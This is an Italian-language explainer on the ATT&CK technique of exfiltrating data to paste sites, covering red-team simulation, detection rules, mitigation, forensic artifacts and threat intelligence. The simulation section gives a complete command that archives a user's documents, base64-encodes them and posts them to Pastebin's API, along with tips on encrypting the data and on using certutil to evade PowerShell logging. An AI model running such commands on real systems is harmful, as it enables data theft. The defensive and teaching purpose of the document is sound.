Esfiltrazione via Paste Site: Exfiltration to Text Storage Sites (T1567.003)

In un esercizio red team autorizzato, la simulazione di T1567.003 è tra le più semplici da mettere in scena ma anche tra le più istruttive per misurare la maturità del monitoraggio egress. La catena tipica prevede tre fasi: raccolta, packaging e pubblicazione su servizio testuale.

Su Linux e macOS lo strumento di elezione è curl (open source), che consente di inviare un POST HTTP verso l'API pubblica di Pastebin con un payload testuale. Un esempio di catena completa comprime i dati raccolti, li codifica in base64 per renderli compatibili con il campo testo, e li invia:

tar czf - /home/user/documents | base64 | curl -X POST -d "api_dev_key=KEY&api_option=paste&api_paste_code=$(cat)" https://pastebin.com/api/api_post.php

Per aumentare il realismo dell'esercizio, l'output andrebbe cifrato prima della codifica con openssl enc -aes-256-cbc (open source), simulando così il comportamento di attaccanti sofisticati che usano paste site come dead drop cifrati.

Su Windows, la simulazione può essere realizzata con PowerShell (integrato nel sistema) tramite Invoke-WebRequest o Invoke-RestMethod. Un payload realistico legge file da cartelle sensibili come Documents, li comprime con Compress-Archive, converte lo ZIP in stringa base64 e la invia via POST. L'uso di LOLBAS come certutil.exe per la codifica base64 è particolarmente interessante perché evita PowerShell logging avanzato: certutil -encode input.zip output.b64.

Su macOS si può orchestrare la catena con osascript per la raccolta interattiva combinato a curl per l'invio, oppure con AppleScript che accede alla clipboard tramite pbpaste e la esfiltra.

Su ESXi, essendo un ambiente ristretto, la simulazione realistica prevede l'uso della shell BusyBox per leggere file da datastore (/vmfs/volumes/) e inviarli con wget o curl verso l'endpoint di paste. Questo scenario è particolarmente rilevante dopo compromissioni di appliance di virtualizzazione.

Tool aggiuntivi utili per il laboratorio includono Sliver (open source) e Mythic (open source), framework C2 che supportano moduli di esfiltrazione custom facilmente adattabili a paste site. Per il traffic analysis lato blue team durante l'esercizio, Wireshark (open source) e Zeek (open source) permettono di osservare i pattern di richiesta e valutare la detectabilità della simulazione.

La detection di T1567.003 richiede un approccio comportamentale che correli lineage di processo, accessi a file e traffico egress verso una lista curata di paste site. Il rilevamento basato solo su reputazione di dominio fallisce perché queste piattaforme sono legittime.

Su Windows, la strategia AN0787 suggerisce di monitorare Sysmon (open source, Microsoft) — in particolare EventID 3 per connessioni di rete e EventID 1 per creazione processi — insieme al Security log nativo. Il pattern di alto valore è la sequenza: processo non-browser (powershell.exe, wscript.exe, winword.exe) che apre file in directory sensibili come Documents o Desktop, seguito entro pochi secondi da una connessione HTTPS verso pastebin.com, hastebin.com o ghostbin.com. Una regola Sigma può essere costruita filtrando Image per processi non attesi e DestinationHostname sulla watchlist di domini. Il tuning richiede soglie sulla dimensione dell'upload (indicativamente superiore a 500 KB) e whitelist di utenti sviluppatori con giustificazione di business.

Su Linux, la strategia AN0788 si basa su auditd con regole EXECVE per intercettare invocazioni di curl e wget, correlate con NSM flow data da Zeek o Suricata (entrambi open source). Il pattern sospetto è l'esecuzione di tar o gzip seguita da un POST HTTPS verso paste site. Il tuning necessario include whitelist per uso legittimo di curl verso repository di pacchetti e considerazione delle work hours degli sviluppatori.

Su macOS, il unified logging (interrogabile con log show e log stream) permette di osservare osascript, curl o processi Office che generano traffico verso API di paste. Un indicatore forte è l'entropia elevata del payload trasmesso, sintomo di dati codificati o cifrati.

Su ESXi, i log hostd e vmkernel devono essere inoltrati a un collettore centrale. Qualunque connessione outbound verso paste site da servizi come vmx o hostd è altamente anomala e merita alert immediato con severity alta.

Dal lato preventivo, la mitigazione M1021 (Restrict Web-Based Content) è centrale: web proxy con categorizzazione URL possono bloccare o forzare l'ispezione dei paste site. Squid (open source), pfSense (open source) e soluzioni enterprise come Zscaler (a pagamento) o Cisco Umbrella (a pagamento) supportano policy di categoria. Il filtering DNS con Pi-hole (open source) o NextDNS (freemium) è utile per ambienti più piccoli. I falsi positivi principali derivano da team di sviluppo e supporto IT che usano legittimamente questi servizi per condividere snippet di configurazione — la strategia migliore è creare gruppi AD dedicati con policy differenziate.

L'analisi forense di un incidente T1567.003 ricostruisce la catena che dalla collection porta all'invio verso il paste site, sfruttando artefatti sia endpoint che di rete.

Su Windows, i punti di partenza principali sono i log Sysmon nel canale Microsoft-Windows-Sysmon/Operational, in particolare EventID 1 (process creation con command line completa), EventID 3 (network connection con IP e hostname di destinazione) e EventID 11 (file creation, utile per identificare archivi temporanei creati prima dell'esfiltrazione). Il Security log con EventID 4688 fornisce process creation anche senza Sysmon, mentre EventID 4663 traccia accessi a file se abilitato l'auditing su directory sensibili. Artefatti PowerShell come Microsoft-Windows-PowerShell/Operational con EventID 4104 (script block logging) sono cruciali per ricostruire comandi Invoke-WebRequest obfuscati. La cache DNS (interrogabile con ipconfig /displaydns) e i prefetch file in C:\Windows\Prefetch aiutano a confermare esecuzioni di tool CLI. Il registry ha valore limitato ma ShellBags e UserAssist possono documentare navigazione a directory contenenti i dati esfiltrati.

Su Linux, gli artefatti primari sono i log auditd configurati con regole SYSCALL su execve e su syscall di rete come connect e sendto. Il file .bash_history dell'utente compromesso, se non ripulito, contiene la sequenza esatta dei comandi. /var/log/audit/audit.log combinato con log di sistema in /var/log/syslog e /var/log/auth.log consente di correlare l'esecuzione del comando con la sessione utente. Per traffico di rete, i log di iptables con logging abilitato o le capture pcap archiviate mostrano la connessione TLS verso il paste site.

Su macOS, il unified log è la fonte principale: log collect genera un archivio che può essere analizzato con log show --predicate per filtrare eventi specifici. FSEvents in /.fseventsd/ documenta le modifiche al filesystem, utili per timeline degli accessi ai file esfiltrati. Il file .zsh_history o .bash_history nell'home dell'utente completa il quadro.

Su ESXi, /var/log/hostd.log e /var/log/vmkernel.log devono essere raccolti immediatamente con vm-support, tool nativo che produce un bundle diagnostico completo.

Dal lato esterno, dove possibile, l'analisi passiva del traffico egress conservato (via Zeek logs o soluzioni NDR) permette di identificare la dimensione dei POST verso paste site e ricostruire il volume esfiltrato. Se il paste è ancora online e non protetto, il contenuto stesso può essere recuperato per stimare l'esposizione. La timeline finale deve correlare: momento di prima esecuzione del processo esfiltratore, file letti (via MFT su Windows o inode timestamp su Unix), connessioni di rete verso il paste site e volume di dati trasmesso.

I dati MITRE ATT&CK per T1567.003 non riportano gruppi APT, software o campagne formalmente associati alla tecnica nel dataset fornito. Questo dato in sé merita interpretazione: non significa che la tecnica sia poco usata, ma piuttosto che è raramente il tratto distintivo di una campagna attribuita. L'esfiltrazione via paste site tende a essere un dettaglio operativo tattico, spesso oscurato nei report pubblici a favore delle tecniche più caratterizzanti come il malware iniziale o l'infrastruttura C2.

Dal punto di vista dell'analisi di intelligence, la tecnica presenta caratteristiche che la rendono attrattiva per attori di natura molto diversa. Criminali cybercrime con obiettivi economici la usano per esfiltrare piccoli volumi di credenziali o token in scenari opportunistici, dove la semplicità operativa vale più della sofisticazione. Attori commodity che distribuiscono infostealer commerciali frequentemente includono moduli di upload verso paste site come opzione di configurazione, perché non richiede infrastruttura dedicata da mantenere.

Un pattern osservato in ambito open source intelligence è l'uso di paste site come dead drop resolver: l'attaccante pubblica su un paste noto (URL cablato nel malware) una stringa che contiene l'indirizzo aggiornato del vero C2. Questa combinazione con T1102 (Web Service) rende l'infrastruttura estremamente resiliente ai takedown perché il paste può essere sostituito rapidamente. La tecnica è documentata in numerosi report tecnici come parte di kill chain di malware sia state-sponsored che criminale.

Gli operatori di ransomware con capacità limitate hanno storicamente usato paste site per esfiltrare campioni di dati come proof-of-exfiltration nelle fasi negoziali, evitando così di dover mantenere data leak site dedicati. Con l'evoluzione del panorama ransomware verso gruppi più strutturati con propri portali di leak, questo uso è diminuito ma persiste tra affiliati di fascia bassa.

Dal lato hacktivista, l'uso di paste site è storicamente marcato: molti dump ideologici degli ultimi quindici anni sono stati pubblicati direttamente su Pastebin o cloni. Questo pattern rimane vivo per operazioni che cercano visibilità mediatica immediata, dove la pubblicità del leak è parte integrante dell'obiettivo.

Il trend evolutivo che merita monitoraggio riguarda la migrazione verso piattaforme meno filtrate: con l'aumento della categorizzazione di Pastebin nei proxy enterprise, gli attaccanti si spostano verso paste site meno noti o self-hosted, oppure verso servizi ibridi come GitHub Gist e GitLab Snippets che offrono funzionalità simili ma godono di reputazione superiore. La classificazione MITRE separa formalmente questi casi in T1567.001, ma l'operativa difensiva deve considerarli come vettori equivalenti.

MITRE ATT&CK T1567.003 (Exfiltration to Text Storage Sites), tattica TA0010, mitigazione M1021, detection strategy DET0284 con analytics AN0787-AN0790. MITRE D3FEND per mapping difensivo. Per comandi operativi, sintassi tool (curl, PowerShell, Sysmon, auditd, Zeek, Squid) e artefatti forensi è stata utilizzata conoscenza professionale di cybersecurity basata su documentazione ufficiale dei rispettivi progetti open source.